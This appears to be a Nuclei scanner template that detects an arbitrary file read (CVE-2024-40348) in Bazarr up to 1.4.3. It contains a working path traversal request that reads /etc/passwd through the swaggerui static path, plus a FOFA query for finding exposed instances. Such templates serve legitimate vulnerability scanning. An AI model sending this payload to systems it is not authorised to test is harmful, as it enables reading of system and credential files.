id: CVE-2024-40348

info:
  name: Bazarr < 1.4.3 - Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.
  reference:
    - https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
    - https://www.bazarr.media/
    - https://github.com/bigb0x/CVE-2024-40348
  classification:
    epss-score: 0.00043
    epss-percentile: 0.09329
  metadata:
    verified: true
    max-request: 2
    vendor: morpheus65535
    product: bazarr
    fofa-query: title=="Bazarr" && icon_hash="-1983413099"
  tags: cve,cve2024,bazarr,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

    matchers:
      - type: word
        part: body
        words:
          - "<title>Bazarr</title>"
          - 'content="Bazarr'
          - "window.Bazarr"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210084696c2ae82a8349b9e1a30efeced77cdc4c478fa88302f3e4936c804c5b4e4802205ae0ef6a4cd569c62bdb704d39072abf9449d50be9679990c3677c45ad86792c:922c64590222798bb761d5b6d8e72950